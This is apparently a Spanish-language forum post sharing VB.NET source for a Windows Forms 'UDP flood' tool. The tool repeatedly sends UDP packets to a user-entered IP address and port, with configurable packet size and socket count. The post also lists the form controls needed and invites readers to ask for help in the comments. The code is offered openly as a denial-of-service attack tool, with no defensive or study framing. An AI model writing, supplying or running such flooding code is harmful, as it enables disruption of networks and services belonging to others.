Crear Un UDP FLOOD

Imports System.Net, System.Net.Sockets, System.ComponentModel

Public Class Form1
Public Enum Status
Attacking = 1
Stopped = 2
End Enum
Friend WithEvents bgFlood As New BackgroundWorker
Dim IsFlooding As Boolean = False
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
bgFlood.WorkerReportsProgress = True
End Sub
Private Sub Flood(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles bgFlood.DoWork
Dim Ip As IPAddress = IPAddress.Parse(Host.Text)
Dim Ipandport As New IPEndPoint(Ip, Convert.ToInt32(Port.Text))
Dim Packet As Byte() = New Byte(PacketSize.text) {}
Dim SockNum As Integer = Sockets.Text
Do While IsFlooding = True
For i = 0 To SockNum
If IsFlooding = True Then
Dim _sock(i) As Socket
_sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
Try
_sock(i).SendTo(Packet, Ipandport)
bgFlood.ReportProgress(Status.Attacking)
Threading.Thread.Sleep(500)
Catch ex As Exception
Threading.Thread.Sleep(500)
End Try
Else
Exit Do
End If

Next
Loop
bgFlood.ReportProgress(Status.Stopped)

End Sub
Private Sub Report(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) Handles bgFlood.ProgressChanged
Select Case e.ProgressPercentage
Case Status.Attacking
ListBox1.Items.Add("Flooding... -" & Date.Now.ToLocalTime)
ListBox1.SelectedIndex = ListBox1.Items.Count - 1
Case Status.Stopped
ListBox1.Items.Add("Stopped... -" & Date.Now.ToLocalTime)
ListBox1.SelectedIndex = ListBox1.Items.Count - 1
End Select
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
IsFlooding = True
If Not bgFlood.IsBusy Then
bgFlood.RunWorkerAsync()
End If
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
IsFlooding = False
End Sub
End Class

Herramientas
4 TextBox
2 Botones
1 ListBox

lo demas a su gusto ya queda de ustedes interpretar el codigo esta muy facil cualquier problema q se les presente dejenlo en los comentarios y yo les ayudare a resolverlos bueno cuidence

GRACIASSSSSS





bueno aportEEE